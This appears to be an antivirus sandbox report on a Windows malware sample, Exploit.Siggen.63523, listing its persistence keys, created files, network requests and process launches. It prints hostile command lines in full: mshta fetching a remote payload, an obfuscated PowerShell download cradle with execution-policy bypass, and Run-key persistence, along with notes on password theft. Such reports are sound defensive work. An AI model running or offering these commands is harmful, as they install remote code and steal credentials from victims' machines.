Exploit.Siggen.63523

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\SyncAppvPublishingServer.vbs'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\syncappvpublishingserver.vbs

Malicious functions

Downloads and executes files.

Executes the following (exploit)

'%WINDIR%\syswow64\mshta.exe' http://19#.##.255.65:8787/FuckYou &AAAC
'<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SyncAppvPublishingServer.vbs"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -version 2 $VBNKUYTYUIKNFDFGHJKNBFGHJIUYVBHJIUYTTYUIKNHJ=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,11...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\SyncAppvPublishingServer.vbs'

Injects code into

the following system processes:

Reads files which store third party applications passwords

Modifies file system

Creates the following files

%APPDATA%\microsoft\internet explorer\quick launch\user pinned\syncappvpublishingserver.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7baf8971582fe787e73c329ce10e2968_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\37428e7aa1db885ed24969c2b2f2b9d1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\01249a765ccfc0763e737c1a9a1c5db9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3a19ab736973afa380181137124679cf_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0d471ec48cf530b70ac78df8d76c9bce_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fe829717ae8c46668dc75dc5afdef85d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0e3e6c6c16016b5c5d85fe86541c8971_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5c0fdc0165e0a5e72705e0c3806125b9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f6ef01d9bc1ae54bbfc2ed454c69a694_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Deletes the following files

%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7baf8971582fe787e73c329ce10e2968_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\37428e7aa1db885ed24969c2b2f2b9d1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\01249a765ccfc0763e737c1a9a1c5db9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3a19ab736973afa380181137124679cf_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0d471ec48cf530b70ac78df8d76c9bce_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fe829717ae8c46668dc75dc5afdef85d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0e3e6c6c16016b5c5d85fe86541c8971_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5c0fdc0165e0a5e72705e0c3806125b9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f6ef01d9bc1ae54bbfc2ed454c69a694_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Network activity

TCP

HTTP GET requests

http://19#.##.255.65:8787/FuckYou via 19#.#9.255.65
http://19#.##.255.65:8787/_Incapsula_Resource?SW############################## via 19#.#9.255.65
http://19#.##.255.65:8787/_Incapsula_Resource?SW############################# via 19#.#9.255.65
http://19#.##.255.65:8787/get via 19#.#9.255.65
http://www.m9#.net/uploads/15869800241.jpg
http://19#.##.255.65:8787/cm/OWZJV-img.jpeg via 19#.#9.255.65
http://www.m9#.net/uploads/15869793021.jpg
http://www.m9#.net/uploads/15869793022.jpg

'18#.#44.30.13':8787

UDP

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\mshta.exe' http://19#.##.255.65:8787/FuckYou &AAAC' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec Bypass -w 1 -c $NUMBEROFWMIHIGHPERFORMANCEPROVIDERRETURNEDBYWMIADAPTER=New-Object Net.WebClient;$NUMBEROFWMIHIGHPERFORMANCEPROVIDERRETURNEDBYWMIADAPTER.proxy=[<#000#>Net.WebRequest<#000#>...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -version 2 $VBNKUYTYUIKNFDFGHJKNBFGHJIUYVBHJIUYTTYUIKNHJ=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,11...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\SyncAppvPublishingServer.vbs'' (with hidden window)
'<SYSTEM32>\cmd.exe' /C CopY "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SyncAppvPublishingServer.vbs" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned" /Y' (with hidden window)

Executes the following

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'<SYSTEM32>\winlogon.exe' -legacy_Vista
'<SYSTEM32>\cmd.exe' /C CopY "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SyncAppvPublishingServer.vbs" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned" /Y
'%WINDIR%\syswow64\rundll32.exe'